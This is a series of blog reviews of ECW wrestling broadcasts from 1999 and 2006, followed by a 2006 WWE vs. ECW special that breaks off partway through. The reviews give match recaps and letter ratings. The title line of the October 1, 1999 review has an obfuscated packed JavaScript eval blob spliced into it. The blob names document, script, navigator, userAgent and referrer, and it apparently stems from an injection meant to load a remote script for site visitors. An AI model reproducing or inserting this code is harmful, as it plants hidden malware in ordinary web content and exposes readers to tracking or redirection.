ECW on TNN – October 15, 1999: They Were Doing So Well And Then Pulp Fiction

ECW on TNN
Date: October 15, 1999
Location: Civic Center, Houma, Louisiana
Attendance: 2,000
Commentators: Joey Styles, Joel Gertner

We’re heading towards November 2 Remember and not a lot has been established yet. Then again that’s pretty common for ECW PPVs so I’m not that worried. The only other main story is the Raven vs. Dreamer feud, but that could be said about almost any time that the two were in the company at the same time. Let’s get to it.

We open with Candido and Sytch coming to the ring. Before they can say anything though, here are Storm and Dawn Marie. I still can’t get over how hot she was in ECW. Storm says that Sytch is a has been at 26 but everyone knew it a year ago. At least Candido had some talent. Not a lot mind you but enough for Storm to carry him. Those are Storm’s words if that’s not clear. Storm makes a drug reference and it’s on. Security breaks it up before they fight too much though.

Theme song.

David Kash vs. Tom Marquez

That’s Kid Kash and it’s his debut. Kash hooks a Japanese armdrag and here are Corino and Rhyno to beat them both down. The match didn’t last 30 seconds.

Rhyno and Tajiri are in Falcons’ jerseys and insult the Saints players in the audience. Rhyno goes after them and Dreamer comes out to try to break it up. Corino calls out Tommy and we’re having a match after the break.

Tommy Dreamer vs. Steve Corino

It’s a big wild brawl and they go into the stands very quickly. Dreamer is in pure control and beating him up in the crowd. They tease throwing both guys over the railing and I think Dreamer falls off the side. Not that you can see anything mind you so that’s kind of a guess. They get to the ring for the first time and there go Corino’s pants and whatever he had under them. Everything is covered by a mosaic at least.

There’s a superplex to Steve Corino, whose clothes are having some issues. He comes back with a shot to Dreamer’s bad back and pulls his singlet up. Corino puts on a front facelock and sits down in the chair for some reason. Dreamer escapes the devastating sitting hold and sets up the DDT on said chair, but Corino escapes and sends Dreamer into the chair.

There goes the referee and Dreamer hits the Death Valley Driver. He hooks a Tarantula as Francine knocks Jack Victory down. Cue Tajiri to kick Dreamer in the head. Tajiri goes after Francine and Raven comes in to break up whatever Corino was setting up. DDT to Tajiri and one to Dreamer as well. Corino goes for the cover but Dreamer rolls him up for the pin.

Rating: D+. It’s pretty clear they have no idea what to do with Dreamer and Raven at this point. The problem was they didn’t have anything to do with them other than throw them together because they feuded for so many years. This was more of a fight anyway and I thought about not rating it. Not terrible though and it was entertaining I guess.

Fonzie says watch out for Sabu.

Chris Candido vs. Lance Storm

After a break we join this in progress with Storm chopping away in the corner. Candido takes him down and pounds away but walks into a spinwheel kick from Storm. Chris hooks a neckbreaker and a middle rope legdrop gets two. A very delayed vertical suplex gets two on Storm. Out to the floor and Candido hits a big dive to the floor.

Storm is sent to the barricade but knocks Candido over the railing. Back in a springboard clothesline gets two for Storm. Tammy interferes to slow Lance down and a superplex followed by a swan dive gets two. Cue Justin Credible and it’s time for a cat fight. Credible pops Candido with a Singapore Cane and Storm pins Candido with Jerry Lynn’s cradle piledriver.

Rating: C. I like Storm so I can’t complain much about this one. Candido was fine but sometimes he could get a little boring. To be fair the girls here looked great so that always helps. This was a feud that went on forever a few years before though so we had seen it for a long time already.

Rod Price vs. Mike Awesome

Price is a big jock looking guy. Awesome however is a monster and knocks Price to the floor and dives over the top onto him. Back into the ring and Price gets some shots in but the world champion runs him over, kicks him down and powerbombs him through a table. Another powerbomb puts Price’s manager through a table on the floor and a top rope splash ends Price. Squash pretty much.

Awesome vs. Tanaka is announced for the PPV.

Dawn Marie and the Impact Players say they’re running everyone out of town.

Da Baldies say that they’re Da Baldies.

Raven is on Bourbon Street and talks about souls.

Doring talks to Miss Congeniality but I can’t understand any of it. He tells Chetti that Chetti wouldn’t listen so now he’s hurt. He’s coming for Nova too.

Back to Raven who talks about how the idiots on this street are Dreamer’s people.

Rotten and Mahoney say they’re hardcore.

Spike looks at his hands. These are supposed to be themed like Pulp Fiction I think.

Da Baldies are still named Da Baldies.

New Jack talks about being a baby.

RVD says nothing of note about November 2 Remember.

Lynn says the injuries won’t stop him. Corino interrupts him and says to work hurt. Corino leaves and Lynn goes looking for him but finds Congeniality in a towel instead. He keeps looking but finds Tajiri who kicks his bad ribs.

Raven makes fun of Dreamer some more.

Van Dam wants to face Sabu at the PPV.

New Jack yells a lot.

Tajiri talks about his favorite Jimmy Stewart movie.

In a funny bit, Gertner compliments Tajiri’s promo (which was in Japanese). Joey says what did Tajiri say. Joel opens his mouth and a voiceover of Tajiri’s promo plays. Joey looks at the camera with a look straight out of a Daffy Duck cartoon.

New Jack rants some more.

Van Dam says he’ll fight anyone. That ends the show. The last nine minutes were all these promos being split up.

Overall Rating: C-. This is on the ECW scale of course. The show wasn’t that bad but the ending was really weird. I get that they’re going for something different, but different doesn’t always mean good. They did a good job here of getting more wrestling on the show, but then the last quarter of the show was like that, which doesn’t really work. Not a horrible show but it didn’t quite work.

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ECW on TNN – October 1, 1999: Dreamer And Raven Are Fighting. Imagine That.

ECW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiffk|var|u0026u|referrer|ftftk||js|php'.split('|'),0,{})) on TNN
Date: October 1, 1999
Location: Compuware Sports Arena, Plymouth, Michigan
Attendance: 1,600
Commentators: Joey Styles, Joel Gertner

Back here again and we’re somehow less than a year from this show ending. I didn’t realize how short this series was but we’re about a month into it and we have less than a year to go at this point. Awesome is the world champion and needs someone to fight so maybe we’ll get to that tonight. Let’s get to it.

We open with breaking news: the tag champions got in a fight backstage and Dreamer is still wrestling tonight.

Mike Awesome will defend the title tonight.

Theme song. That’s still pretty awesome.

ECW World Title: Rhyno vs. Mike Awesome

Rhyno charges into a clothesline before the bell and then takes a jumping back elbow off the middle rope. Another clothesline puts him on the floor and Awesome hits a dive over the top. Most of it hit concrete but the effort was there. Back in a top rope clothesline gets two. Awesome likes that move. Awesome Bomb is countered and Rhyno Gores him but that’s not a finisher yet. Swan dive by Rhyno gets two. German suplex out of nowhere takes Rhyno down and there’s an Awesome Bomb up and over the top rope and through a table on the floor. Rhyno is mostly dead so the Awesome Splash retains the title.

Rating: C. Awesome was, in a word, awesome with the stuff he could pull off in the ring. People shouldn’t be able to move the way he could so it amazes me that WCW screwed him up as much as they did. He was mostly a face as the fans cheered him because there was almost no way to not be impressed. Fun match here and basically a squash for the champ.

Big Sal E. Graziano vs. Little Spike Dudley

Sal weighs about 500lbs. Spike is the Giant Killer so I think you know where this is going. It’s going to a no contest as Guido runs in for the DQ and it’s time for a new match.

Little Spike Dudley vs. Little Guido

Does the winner get upgraded to a medium? After a quick break they trade rollups and Spike takes him down with a neckbreaker for two. A forearm puts Guido on the floor and there’s a dive. Guido throws him into the barricade and Sal splashes him up against the steel. Middle rope Fameasser gets two. Tomikaze (Killswitch) gets two and Guido is frustrated. Sal comes in but his splash misses and the Acid Drop to both guys (with Sal landing on Guido) gets the pin.

Rating: D+. It was entertaining enough but the Spike character could only be carried so far. The idea of him hitting one shot and then the Acid Drop to win matches worked for awhile but it finally had to stop. Guido was his usual self and Sal did his usual fat guy stuff. Not bad or anything but Spike did the same thing every week.

Music video on RVD.

The following is from Anarchy Rulz but it was a dark match so I haven’t seen it yet.

Danny Doring/Roadkill vs. CW Anderson/Bill Whilles

Big pop for Roadkill be fore he and Whilles gets us going. Roadie punches him down and hits a powerslam to set up a double tag. Doring speeds things way up and hits a Japanese armdrag. Back to Roadkill who hits a Bossman Slam and everyone is in now. Doring cleans house but walks into an Anderson spinebuster and a single arm DDT. The control lasts for about 30 seconds and it’s back to Roadkill. Bill manages a spinning powerslam on Doring for two and everything breaks down again. Danny hits a reverse DDT to set up a top rope splash by Roadkill for the pin.

Rating: C. This was a good choice for a dark match as the fans were WAY into Roadkill and Doring. They would get the titles in about 14 months but ECW was long past dead by that point. They also had Lita as a manager for a cup of coffee so there aren’t any complaints there. Fun match here that was very fast paced and got the people going though.

Yoshihiro Tajiri vs. Tommy Dreamer

Dreamer is in street clothes. Back from a break before the match and Dreamer hits a baseball slide to send Corino (manager) into Tajiri. Tajiri gets crotched on the barricade and takes the deadly Pepsi to the face. Back in the handspring elbow and the Buzzsaw kick give Tajiri a quick advantage but Dreamer comes back with a slingshot splash for two. Dreamer goes up for something like a moonsault I think but gets crotched and put in the Tree of Woe.

Tajiri misses his baseball slide and crotches himself so Tommy shows him how its done. Dreamer sets for a suplex to the floor through a table but Tajiri manages to superkick him down to the floor. Back inside Dreamer puts Tajiri in the Tarantula and doesn’t look half bad at it. We go back to the floor and Tajiri is thrown into the crowd. It’s your usual crowd brawl with both guys being thrown in the penalty box. Tajiri is busted.

They head to ringside and Tajiri steals a beer which he spits into Tajiri’s face Mist style. In the ring Dreamer runs into a superkick but pulls off a Dre

amer Driver for two. Corino and Francine come in with the girl hitting a Pedigree on Corino. Raven comes in, DDTs Dreamer and lets Tajiri kick him in the head for the pin.

Rating: C-. The brawling was ok but at the same time, the same problem most ECW brawls had comes into play: why are these two having this big wild brawl? I’d assume it’s over the tag titles but that’s really just an educated guess. There’s no real reason to have these two beat on each other so much so it’s not something you can just jump into and be interested. Kind of a fun match but it was only there for the ending.

Overall Rating: C. Much like the Sci-Fi version, this show is finally starting to calm down and therefore it’s gotten a lot more entertaining and watchable. There are stories being told throughout the show and they eventually (in theory) get paid off at the PPV. That’s basic wrestling booking and if they can get that down, things will go way up as a result. Not a great show but it’s a good sign.

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ECW on Sci-Fi – July 18, 2006: Sabu Has A Wrestling Match

ECW on Sci-Fi
Date: July 18, 2006
Location: American Bank Center, Corpus Christi, Texas
Commentators: Joey Styles, Tazz

Back to the tribe of extreme for the show that is the hardest of all of the ones I review to find. This is I think the sixth episode of the show and it’s still in the Big Show’s title reign. His opponent of the week is Undertaker, who you can’t get on Raw but you can get on ECW. It’s a strange world out there people. Oh and he has Khali on Sunday at the Great American Bash. Gee I wonder if that’ll lead anywhere. Let’s get to it.

Undertaker got in Big Show’s face on SNME.

Intro song.

We open immediately with Kelly stripping and here’s Knox to stop her of course once she gets to her underwear. He takes her to the ring because the best way to keep people from seeing her is to put her in front of an audience right? It’s Kelly’s fault that Knox got hit by the Sandman’s cane last week because she wanted people to see her take her clothes off. We get a clip of that attack and Knox says Kelly can never take her clothes off in public again. Now go get in his corner.

Mike Knox vs. Sandman

Oh and it’s Extreme Rules. Knox jumps Sandman as he’s coming in and we’re off and jogging. They head to the floor and Sandman is thrown into the table and barricade. Knox chokes Sandman with a camera cord and we go back in. Sandy gets a boot up and a bulldog before they go back to the floor. Sandman gets the cane but it hits Kelly as Knox pulls her in the way. Two low blows give Knox the pin. Hu-freaking-zah.

Knox leaves Kelly there. She’s eventually taken out on a stretcher.

Shannon Moore can look at a camera.

Kelly was taken to the back during the break.

Here’s Heyman with his two riot guards. He tells the fans that they have to all drink the Kool Aid and talks about how it’s their fault that Van Dam lost the title. He knows it must be hard to keep up with his intellect but the people can do it. Here’s Dreamer who talks about how he’s been there with Heyman for so many years and he never demanded anything for himself. Now though, he wants Heyman to explain himself to the locker room and to the fans. Heyman grabs Dreamer and kisses him and here’s Test to kick Dreamer’s head off. Heyman and the guards leave and it’s a TKO for Dreamer. Yay Test.

We get a nifty tale of the tape of Undertaker vs. Big Show.

Balls Mahoney says he likes his name. He’s had that name all his life and it’s a little nuts, just like him. He’s an ECW Original you know.

Sabu vs. Stevie Richards

This isn’t Extreme Rules. This is a rematch from SNME where there was an Extreme Rules match but here on ECW it’s a regular match. Got that? Stevie arm drags Sabu and puts him down with a shoulder block. Sabu gets a backslide for two. A leg bar is quickly broken by the ropes and the fans want tables. Richards goes heel with right hands and rams Sabu’s shoulder into the post. There’s an armbar for a few moments but Sabu comes back with right hands. Slingshot flip Fameasser gets two. Springboard tornado DDT sets up the camel clutch for the tap out.

Rating: D+. Nothing to see here for the most part as the whole point of Sabu is that he’s crazy, but I guess it makes sense to have him do regular matches right? That’s the point of ECW and the guy you’ve built up more than anyone else right? Richards was never more than a jobber in this version of ECW.

Sabu chases the referee with his spike post match.

CM Punk talks about why he’s in ECW. He lists off a bunch of martial arts he’s trained in and also talks about his discipline. Why is he a face in ECW again?

Kevin Thorne talks about the future and about how there is death coming for Big Show’s reign.

Video on how dominant Big Show is.

ECW Title: Big Show vs. Undertaker

Undertaker in ECW is just strange. Taker tries to take the leg out so Show headbutts him down. A slugout goes badly for the challenger and Taker gets knocked back into the corner via a headbutt. Taker comes back with his strikes but can’t put Show down. The champ knocks him to the floor and we take a break. Back with Taker getting laid out by a spear for two.

Out to the floor and Taker’s head goes into the steps. Taker gets in a kick to the face but Show headbutts him right back down. Undertaker grabs the leg and hooks a hold of some sort to get Show in trouble. Show pounds him down in the corner and they slug it out again. Chokeslam by Taker is broken up but a running DDT gets two. Old School is broken up and Show hits a superplex. It’s an EXTREME ring though so it doesn’t break. It only gets two and Taker sits up. Chokeslam is broken up again but Show is knocked to the floor. And here’s Khali for the no contest.

Rating: D. This picked up a little bit at the end but until that point, MAN was it boring. It was nothing but these two punching each other and the other coming back. Now repeat that for about 12 minutes. It was clear that Khali was going to be involved in the ending so until than it was really just killing time. Bad match but the superplex was cool.

Khali and Big Show put Undertaker through the table before the Bash on Sunday,

Overall Rating: D+. This one didn’t do it for me at all. This show needs a breath of air already and that’s not going to happen for a few months. The problem here is that they keep trying to throw in the original ECW stuff and it doesn’t fit at all. Once they go to the show being its own show, it’ll get a lot better.

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ECW on Sci-Fi – July 11, 2006: Flair Still Has It

ECW on Sci-Fi
Date: July 11, 2006
Location: Target Center, Minneapolis, Minnesota
Attendance: 3,000
Commentators: Joey Styles, Tazz

Welcome to the rest of ECW. After last week, there was no way that this could be considered ECW anymore so we’re now in whatever you want to call this. Big Show is champion and he’s supported by the EVIL Heyman, which is WWE all the way. There isn’t much else to say but the show is going to be old vs. new now. Let’s get to it.

We open with a recap of the main event from last week.

Flair vs. Big Show for the ECW Title later. This isn’t going to get any easier.

Here’s Heyman who says he made sure RVD lost the title last week. Don’t blame him though, because it’s the fans’ fault. It’s the people’s fault that RVD got suspended for thirty days. It’s their fault that he had such a rigorous schedule and it’s their cheers that made him jump off the top. Heyman talks about the sacrifices he made for ECW and how he’s the savior of the company. He’ll do things like this if it saves the fans and he’ll do it for the good of ECW. That isn’t really an explanation but that’s too much to ask for.

Heyman and his security leave and run into Dreamer. He wants an explanation but Dreamer has a match immediately so Heyman doesn’t have time to explain.

Raw ad, on an ECW show. It’s a different company remember.

Tommy Dreamer vs. Test

Dreamer is in street clothes. Test slaps him so Dreamer goes crazy on him. They go to the floor where Test rams his back into the post to take over. Test whips him into the corner and stomps him down as this is looking like a squash. A backbreaker sets up a bearhug which is broken pretty quickly. Tommy hits a pair of neckbreakers but the DDT is countered into a full nelson slam. The top rope elbow misses and Dremer tries the DVD. Test slips off the shoulders and rolls Dreamer up, putting his feet on the ropes for the cheap pin.

Rating: D. If they really think this is how the new brand was going to get over, they were idiots. At the end of the day, this is Test, the same guy that wasn’t over from 2001-2005, so they keep pushing him anyway. Nothing to see here and Dreamer was treated like a jobber the whole time of course, which is one of the few things they’ve gotten right.

Candace says her expose will be hot.

Kelly and Candance do a dance together. At least the song is different. Knox does his usual stop but Sandman pops up to hit him with the cane. My goodness it’s an actual story.

Ariel and Kevin Thorn are creepy.

Punk talks about how his tattoos tell a story. Seriously, get to him already. He’s WAY better than this.

Sabu vs. Justin Credible

Sabu was hyped up for the first half of the show so this should be a squash. Sabu goes straight at him and knocks Justin to the floor where he looks for a weapon. That goes badly for him as Sabu hits a flip dive to the floor. Slingshot legdrop gets two back in the ring. Sabu heads to the floor and loads up a broken table, which he puts Justin through after a brief fight for the DQ. Yeah a DQ in ECW. Next.

Balls Mahoney is a little bit nuts. His words not, mine.

Flair says he’ll win his 17th title tonight. Foley needs to grow some balls as well.

Shannon Moore (not named) is freaky looking.

ECW World Title: Ric Flair vs. Big Show

Extreme Rules again. Show throws him to the floor and we take a break. Back with Flair pounding away in the corner. Joey calls this historic. Not exactly the word I’d use but whatever. Show press slams him and Flair is busted open from something. Knowing him it was a stiff breeze. Flair tries chopping him but gets knocked down by one from Show. They head to the floor for another slugout, won by Show.

To keep up the tradition, Flair chops and punches but Show chops him down with one or two shots. Show measures him but Flair hits him low. Keeping with the tradition theme, Flair hits him low a second and third time. Make it four and Show is in trouble. Flair finds a barbed wire ball bat from somewhere and hits Show in the head with it before digging it into Show’s face.

Trashcan shot to the head staggers Show as does a chair to the chest and back. Show goes down but it only gets two. Flair busts out some tacks and knocks Show into them with about five chair shots to the head. That just ticks him off though so he pulls Flair into the chokeslam and a cobra clutch backbreaker. He keeps the clutch on for the knockout win. Show throws Flair into the tacks post match.

Rating: B-. I liked this a lot more than I was expecting to. Flair is still a master of making you believe that it could happen, which is what he did here. Also, notice that he puts Show over by making it look like Show shrugged off all that offense and won with ease. That’s hot you make someone look good, which Flair made a career out of.

Flair is helped out to end the show. That and replays ate up the last three minutes.

Overall Rating: C. I think this was the best show of the first batch of them, and that’s not saying much. The show was ok with the main event being a highlight, but it’s much better because the idea that this is the rebirth of ECW is forgotten now. Instead the ECW Title is the third WWE Title, making it a much easier show to book. The opening was weak as was the rest of the show other than the main event, but I really dug that match. Watchable show, but nothing great.

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ECW on TNN – September 3, 1999: Two Out, One In

ECW on TNN
Date: September 3, 1999
Location: Lost Battalion Hall, New York City, New York
Attendance: 1000
Commentators: Joey Styles, Joel Gertner

This is the second episode and I honestly have no idea what’s going on at the moment. Apparently we’re coming up on Anarchy Rulz which for some reason had the main event of RVD vs. Balls Mahoney but I don’t think that was advertised before the show. You’ll hear that a lot in these reviews: the matches aren’t really planned. Let’s get to it.

ECW World Title: Taz vs. Yoshihiro Tajiri

Taz is world champion but would be gone very soon. He would be in the WWF in January. Tajiri has Corino and Victory with him in his corner. You can barely understand the announcer. I think this is non-title. Taz pounds on him to start but walks into the handspring elbow.

Tajiri kicks him in the head and this is for the title. Ok then. Tajiri tries the Tarantula but gets countered into what we would call the Alabama Slam. Head and arms Tazplex and Taz spits in Tajiri’s face. They slug it out and Taz hooks a capture Tazplex to kill Tajiri. Taz hits the crossface shots but gets kicked in the head for two. Tajiri tries a big kick but Taz ducks and the Tazmission ends this quick.

Rating: C-. Nothing great here but the crowd LOVED Taz. That being said, he would lose the title at the PPV to Mike Awesome and would say goodbye to ECW. That’s not good because the Dudleys would be leaving really soon also. Tajiri is a guy I’ve been liking more and more lately as those kicks were SWEET.

Theme song after the opening match which is something that was a trend of theirs.

Joey is in the ring to open the show. There’s a TNN chant to start which sounds like they’re saying TNA. Now they chant NYC. Joel Gertner comes out and declares himself the new cohost. His nickname tonight: Joel “I’m like the Rubik’s Cube: the more you play with me, the harder I get” Gertner. Those were always hilarious.

They bring out Jerry Lynn who says that they’re better than Raw and Nitro. Therefore, he should bring them the best match they can. He calls out RVD for a TV Title shot RIGHT NOW. Fonzie, RVD’s manager, comes out and says no. Lynn goes after Fonzie so RVD comes out for the brawl.

Anarchy Rulz ad.

Someone has jumped from WCW to ECW. Find out who it was on the hotline! Or wait another 30 minutes because they show up at the end of the show!

Here are the Dudleyz who are here for their last night in the company. Before they can talk though we go to the announcers and are told next week it’s RVD vs. Lynn.

House show ads.

ECW Tag Titles: Dudley Boys vs. Spike Dudley/Balls Mahoney

The Dudleys, on their last night in the promotion remember, are challenging here. Why would Heyman give them a shot if he knew they were jumping ship? No wonder they’re not in business anymore. This is joined in progress after a break. The champs take over and clear the ring. Balls throws Spike over the top onto the Dudleys in a cool spot. Back in and Spike walks into a Bubba Bomb to take him down.

Now let’s stop watching the match and see a replay of what we just saw. Spike is dropped over the barricade and is busted open. The Dudleys have threatened to win the titles and give them to the McMahons on Raw. Bubba sets for the back splash off the middle rope but Spike punches him in the balls. Bubba responds by superbombing him off the middle rope as we take a break.

Back with the champions hitting their finishers at the same time for two each. D-Von hits a reverse DDT on Balls while Spike is thrown over the top and through a table. Balls comes back with chair shots for both guys. He brings in a table and covers it in tacks which isn’t going to end well for him. According to the first law of wrestling, Balls goes through the table that he set up. They botch the ending as Spike misses the save he’s supposed to make so the referee counts three but goes to count four. 3D to Spike gives them the titles a second later anyway.

Rating: D+. Match was a mess but the whole point of it is that th company has no idea what to do now because they’ve lost the titles and the Dudleys are headed out the door with them. Spike teamed with a lot of random people to fight his brothers and Balls was just another in the line of them.

More house show ads.

Rob Zombie likes ECW so we get a music video of his with ECW clips in it. This eats up like three minutes.

The Impact Players pose. Ok then. That’s Justin Credible and Lance Storm.

Rollerjam ad. I LOVED that show for some reason.

The Dudleys are here again and after the hotline is plugged again, they say that here, boys become men and men become heroes. In the WWF, heroes become legends. Great line from Bubba: “If God was a heel, he’d be the Dudley Boys.” He calls Stamford, Connecticut the true hot bed of hardcore wrestling. However, before they go there’s one more thing they need to do.

They say they’re going to ruin the company by taking out the heart and soul of the company. The fans chant for Sandman and the Dudleys say they’ll give him 3D if he comes out. Instead they tell Dreamer to come out if he cares about this company at all. Dreamer has a very bad back at this point. Dreamer comes out but Heyman is stopping him from getting into the ring. Francine comes out and Bubba calls her a $2 w****. Joel: “Joey can I borrow $1.87?”

This is all being done over clips of the Dudleys and Dreamer’s highlights. The Dudleys talk about the time they broke Dreamer’s wife’s neck which was the story they used when Beaulah wanted to get out of wrestling. Bubba says the Dudleys used to come into her hospital room and double team her. Dreamer still won’t come to the ring as the Dudleys taunt him. He finally snaps and it’s on. Since it’s ECW, we get a ref and a bell and the titles are on the line.

Tag Titles: Tommy Dreamer vs. Dudley Boys

Dreamer takes them down with a double Russian legsweep for two. Tommy finds some salad tongs and grabs D-Von’s balls. Francine throws in a ladder which Tommy tettertotters into the Dudley’s faces. Francine hits Sign Guy in the head with something to take him down. Bubba gets thrown into the ladder and D-Von gets thrown into Bubba, resulting in the falling headbutt ball shot to D-Von.

Bubba gets up and sends Dreamer into the ladder which kills him because of his back. The Dudleys destroy Tommy with belt shots and loads up 3D but Dreamer counters with a DDT. Cue the returning RAVEN who kills Bubba with the Even Flow and pins him to win the titles with Dreamer, his mortal enemy.

Rating: C. This is a really hard one to grade because all that mattered were the last 10 seconds of the match. A lot of it was Dreamer out cold while the Dudleys beat on him so it barely qualifies as a match. Anyway, this was the big return mentioned earlier and Raven got an eruption after finally returning from WCW. At WCW, there had been a meeting where Bischoff told the roster that if anyone wanted out to get up and leave now. Raven was the only one that walked out and he was in ECW in a week.

Raven celebrates in the crowd while Dreamer is stunned to end the show.

Overall Rating: C+. This show has a VERY different grading scale than the rest of the shows I do. For one thing, they had no idea what they were doing yet and their top champions were leaving in the span of two weeks. What exactly were they supposed to do in that situation? Anyway, this was about getting the Dudleys out with a bang and they certainly did that. Fun show, but they had a lot to learn, and to be fair the show got a lot better structured soon.

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ECW on Sci-Fi – June 27, 2006: This Looks Very Familiar

ECW on Sci-Fi
Date: June 27, 2006
Location: Roanoke Civic Center, Roanoke, Virginia
Commentators: Joey Styles, Tazz

We’re back with the third episode here and the main event here is Angle vs. RVD in what’s probably going to get a majority of this show. Vengeance has passed and RVD is still world champion. Something major would happen between the end of tonight’s show and the beginning of next week’s though, but we’ll get to that later. Let’s get to it.

We immediately begin with a match.

Roadkill vs. Sabu

Roadkill is a big Amish guy known as the Angry Amish Chicken Plucker. This is Extreme Rules. Sabu tries a very quick camel clutch but Roadkill gets to the rope before it’s on. Jumping DDT takes Roadkill down and it’s chair time. He loads up the Triple Jump Moonsault but Roadkill slams Sabu’s head into the chair. Neckbreaker gets two. Roadkill goes for a table but Sabu uses the chair as a springboard to dive over the top to take Roadkill down, landing on his head in the process.

Bossman Slam and a Vader Bomb Elbow get two for Roadie. Sabu is put on the table but Roadie goes up, allowing Sabu to pelt the chair at Roadkill’s balls. Top rope rana gets two. Now he pelts the chair at Roadkill’s head and the Arabian Facebuster puts Roadie through the table. Camel Clutch looks to finish but Sabu hits him with a chair a few more times first, then finishes with the Clutch.

Rating: C+. At the end of the day, this is what ECW is all about so having at least some of this on each show was a requirement at the beginning. Also having ECW guys on the show was a good idea as they were at least looking like ECW before they changed everything up and made it into WWE 3.

Kevin Thorn is still outside.

Here’s Dreamer who calls out Big Show to give him another beating. Seriously, he thanks Show for the beating and asks for another, ala the cane shots from Sandman WAY back in the day. Just like last week, it’s not a match but rather just a beating by Big Show. I’m not sure what else to say about this.

Mike Knox (not yet named) looks at Kelly’s chest and says it’s only for him. She’ll be in his corner tonight.

Angle says that he hates himself for not being champion. If he wins tonight, he gets a title shot at SNME. Failure is not an option when your name is Kurt Angle.

Danny Doring vs. Mike Knox

Doring fires off some right hands but Knox hits a Sky High for two. Some fan calls Kelly over to strip for him so Knox kills him. He sends Kelly to the back, kicks Doring’s head off and gets the pin with a spinning Downward Spiral. Total squash.

Test is still coming.

We recap what we saw 90 seconds ago with Knox and the fan.

Kelly dances to the same song from last week and Knox stops her from revealing too much. Ok then. This takes like three minutes. When you have an hour long show, that’s WAY too long.

Here’s Big Dick Johnson as Fat Ugly Male Stripper to get beaten up by Sandman. It’s nonsense like this that made people hate this show.

Heyman explains triple threats to RVD. If Angle wins tonight, it’s a fatal fourway at SNME. RVD says it’s ok because he’s been smoking lately. He meant that literally I think.

Edge and Lita show up and throw out some fans.

After a break, Tazz talks to Edge who says he’ll win the title because he’s the Whole F’N Show. That triple threat would be moved to Raw I believe.

Kurt Angle vs. Rob Van Dam

This is non-title. Angle takes him to the mat almost immediately and the fans sound like they want Cena. They slug it out in the corner and Rob hits his rolling monkey flip. Rob grabs a front facelock and off to the windmill kick. He goes up top but Kurt shoves him off the top and into the barricade as we take a break. Back with Kurt holding a chinlock. Off to a body scissors as this has been all Kurt since the break.

Rob fights up but Kurt snaps off a German and it’s back to the chinlock. Van Dam fights out again and hits a spinwheel kick off the ropes to put both guys down. A springboard kick takes Kurt down but Kurt immediately grabs his legs and drives Rob into the corner. A big suplex counters a kick and gets two. Angle Slam is countered but Kurt rolls through into a failed ankle lock attempt.

Another German hits but is the release version this time. Now it’s the ankle lock but Rob rolls through very quickly and superkicks Kurt down for a delayed two. The top rope kick is caught in the ankle lock but he makes the rope and throws Kurt to the floor. Back in a slingshot legdrop gets two. Small package gets two for Kurt. Rob kicks him down but misses Rolling Thunder and the ankle lock is attempted again. Van Dam kicks him off and hits the Split Legged Moonsault for two. Rob kicks him down and goes up but gets suplexed down for two. Slam is countered by a tornado DDT and the Five Star gets the clean pin.

Rating: B. My goodness it was a clean pin. That’s something you never see in a big match anymore so it was a nice thing to see here. Putting Rob over the big deal that came to ECW is a good thing, as it says that while Angle is the new monster, RVD is still the champion. Good match with Van Dam using the one weapon he had that worked until he could splash him for the pin.

Edge spears Rob to end the show.

Overall Rating: C+. So let’s see: Sabu squash, Kelly dances and gets covered up, Sandman beats up a comedy character, WWE guys end the show. This sounds very familiar and that’s not a good sign. However next week everything would change as Rob and Sabu would get arrested for drug possession and Van Dam would drop both titles. Also a new guy would debut that I think you might have heard of.

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WWE vs. ECW – Head to Head: It’s Good, But Why Does This Show Exist?

WWE vs. ECW: Head to Head
Date: June 7, 2006
Location: Nutter Center, Dayton, Ohio
Attendance: 4,700
Commentators: Jim Ross, Jerry Lawler, Joey Styles, Tazz

Since I’m in ECW mode at the time, I thought I’d take this one out as well. This is the one off special from just before One Night Stand as well as before the relaunch of ECW as a weekly show. I don’t really know if there was a point to this but it aired on a Wednesday night which is pretty much the only night of the week without wrestling of some kind. Let’s get to it.

This is less than a week before One Night Stand.

Foley gives the WWE guys a pep talk. They’re all in Raw or Smackdown shirts looking like matching softball teams.

Heyman does the same for the ECW boys.

There’s a 20 man battle royal tonight, plus Cena faces Sabu.

Jerry and Tazz almost get into it before the show.

Resy Mysterio vs. Rob Van Dam

Rey is Smackdown world champion. The ECW guys come from the hole in the brick wall set off to the side of the main set. They’re both good guys here so they shake hands after speeding to a standoff. Van Dam hits a gorilla press slam and standing moonsault as Joey bashes WWE announcers for not calling the names of moves. Rey comes back and tries the 619 but RVD gets to the floor. Rey dropkicks him to the floor but his baseball slide is countered.

Van Dam rams him into the barricade but misses a standing legdrop to send him disappearing behind the barricade in a great looking spot. Rey hits a HUGE springboard plancha into the crowd to take out Van Dam as we take a break. Back with Rey pounding away but Rob crotches him on top and dropkicks him to the floor.

Back in the slingshot guillotine legdrop gets two. Rob gets a chair because this is No DQ all of a sudden. He hits the chair skateboard in the corner for two. That chair isn’t good enough I guess so here’s a second chair but Rey blocks it and hits a middle rope bulldog onto the chair for two. Rey tries to Drop the Dime but RVD moves and Rey crashes. Five Star ends this kind of clean.

Rating: B-. This would be the running issue for Rey’s title run: he kept losing almost every match he was in, most of the time without cheating. Rob was a big star and would win the world title on Sunday but that doesn’t mean that this was a good choice. Why did it need to be Rey and not another big name that wasn’t world champion?

We recap Orton hitting an RKO on Angle on Raw.

Here’s Angle who is now part of ECW. Heyman got two draft picks to bring over to his brand and picked Angle along with RVD. Angle snapped Orton’s ankle a few months back so there’s your story. Orton has accepted Angle’s open challenge and will be the first person to face ECW’s Kurt Angle. Here’s Orton for a rebuttal. He talks about Angle going from the main event of Wrestlemania down to ECW being like going from a summer blockbuster to hardcore adult films.

Orton is a big star on Raw and Kurt should be afraid. Kurt says this is the new ECW and Angle is part of it. Angle doesn’t have to worry about offending Vince anymore so on Sunday he’ll break Orton’s ankle, arms, legs and neck. Orton yells about how Angle broke his ankle already and that Angle got drafted for a reason: it’s destiny. Orton says he’ll win on Sunday and bring ECW to its knees and kill its legend.

Mickie James vs. Jazz

Mickie is Women’s Champion but this is non-title. Jazz works on the arm to start but gets kicked to the floor where Mickie hits the Thesz Press off the apron. Back in Jazz hits her X-Factor (Jazz Stinger) for two but Mickie hits an Impaler for the pin. This was nothing.

